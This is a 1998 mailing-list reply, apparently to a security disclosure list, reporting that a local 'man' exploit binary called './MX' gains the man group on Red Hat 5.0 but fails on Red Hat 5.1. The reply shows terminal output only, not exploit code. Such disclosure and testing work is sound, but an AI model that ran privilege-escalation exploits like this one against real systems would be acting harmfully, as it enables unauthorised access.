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Re: Redhat man exploit
From: jbrahy () hades lb devry edu (John Brahy)
Date: Fri, 9 Oct 1998 12:09:07 -0700


Redhat 5.0
[jbrahy () hades jbrahy]$ uname -a
Linux hades 2.0.31 #1 Sun Nov 9 21:45:23 EST 1997 i586 unknown
[jbrahy () hades jbrahy]$ ./MX ls
Using address: 0xbffffd90
bash$ id
uid=648(jbrahy) gid=653(jbrahy) egid=15(man) groups=653(jbrahy)
bash$ man -version
man, version 1.4j

bash$
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Redhat 5.1 isn;t
[jbrahy () jed jbrahy]$ uname -a
Linux jed 2.0.35 #1 Tue Jul 14 23:56:39 EDT 1998 i586 unknown
[jbrahy () jed jbrahy]$
[jbrahy () jed jbrahy]$ ./MX ls 2>/dev/null
Using address: 0xbffffda0
[jbrahy () jed jbrahy]$ id
uid=420(jbrahy) gid=1134(NNL) groups=1134(NNL)
[jbrahy () jed jbrahy]$


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This could be either the kernel or the man version.
but probably the man version IMHO.

John



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